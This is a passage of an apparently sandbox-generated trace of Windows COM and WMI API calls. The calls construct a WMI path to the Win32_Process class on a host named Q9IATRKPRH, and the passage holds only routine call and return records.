ppvObject=0x1bb7d6b8*=0x1bc3ec00) returned 0x0 [0135.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.037] WbemDefPath:IUnknown:AddRef (This=0x1bc3ec00) returned 0x3 [0135.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc40f80) returned 0x0 [0135.037] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40f80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.037] WbemDefPath:IUnknown:Release (This=0x1bc40f80) returned 0x3 [0135.037] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.037] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.037] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x2 [0135.037] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x1 [0135.037] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.037] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.037] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ec00, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ec00) returned 0x0 [0135.038] WbemDefPath:IUnknown:AddRef (This=0x1bc3ec00) returned 0x3 [0135.038] WbemDefPath:IUnknown:Release (This=0x1bc3ec00) returned 0x2 [0135.038] WbemDefPath:IWbemPath:SetText (This=0x1bc3ec00, uMode=0x4, pszPath="") returned 0x0 [0135.038] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.038] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.038] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.038] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.040] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc40f40) returned 0x0 [0135.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40f40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.040] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40f40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ecc0) returned 0x0 [0135.040] WbemDefPath:IUnknown:Release (This=0x1bc40f40) returned 0x0 [0135.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ecc0) returned 0x0 [0135.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.040] WbemDefPath:IUnknown:AddRef (This=0x1bc3ecc0) returned 0x3 [0135.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.040] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc40fc0) returned 0x0 [0135.041] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40fc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.041] WbemDefPath:IUnknown:Release (This=0x1bc40fc0) returned 0x3 [0135.041] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.041] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.041] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x2 [0135.041] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x1 [0135.041] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.041] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.041] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ecc0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ecc0) returned 0x0 [0135.041] WbemDefPath:IUnknown:AddRef (This=0x1bc3ecc0) returned 0x3 [0135.041] WbemDefPath:IUnknown:Release (This=0x1bc3ecc0) returned 0x2 [0135.041] WbemDefPath:IWbemPath:SetText (This=0x1bc3ecc0, uMode=0x4, pszPath="") returned 0x0 [0135.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ecc0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.041] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ec00, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.041] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3ecc0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0135.041] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3ecc0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0135.041] WbemDefPath:IWbemPath:SetServer (This=0x1bc3ecc0, Name="Q9IATRKPRH") returned 0x0 [0135.041] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.041] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.042] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.042] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.043] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc40fe0) returned 0x0 [0135.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40fe0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.044] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40fe0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3ed80) returned 0x0 [0135.044] WbemDefPath:IUnknown:Release (This=0x1bc40fe0) returned 0x0 [0135.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3ed80) returned 0x0 [0135.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.044] WbemDefPath:IUnknown:AddRef (This=0x1bc3ed80) returned 0x3 [0135.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc41020) returned 0x0 [0135.044] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc41020, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.044] WbemDefPath:IUnknown:Release (This=0x1bc41020) returned 0x3 [0135.045] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.045] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.045] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x2 [0135.045] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x1 [0135.045] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.045] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ed80, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3ed80) returned 0x0 [0135.045] WbemDefPath:IUnknown:AddRef (This=0x1bc3ed80) returned 0x3 [0135.045] WbemDefPath:IUnknown:Release (This=0x1bc3ed80) returned 0x2 [0135.045] WbemDefPath:IWbemPath:SetText (This=0x1bc3ed80, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ecc0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ed80, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ed80, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ed80, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0135.045] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3ecc0) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ed80, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ed80, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ed80, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0135.045] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3ecc0, uIndex=0x0, pszName="ROOT") returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ed80, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0135.045] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3ed80, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0135.046] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3ecc0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3ecc0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0135.046] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3ecc0, Name="Win32_Process") returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ecc0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ecc0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3ecc0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ecc0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ea80, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ea80, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0135.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ecc0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0135.046] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0135.046] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0135.047] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0135.047] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.049] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bc41280) returned 0x0 [0135.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41280, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0135.049] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41280, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3ee40) returned 0x0 [0135.049] WbemDefPath:IUnknown:Release (This=0x1bc41280) returned 0x0 [0135.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3ee40) returned 0x0 [0135.049] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0135.050] WbemDefPath:IUnknown:AddRef (This=0x1bc3ee40) returned 0x3 [0135.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0135.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0135.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3ee40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc412c0) returned 0x0 [0135.050] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc412c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 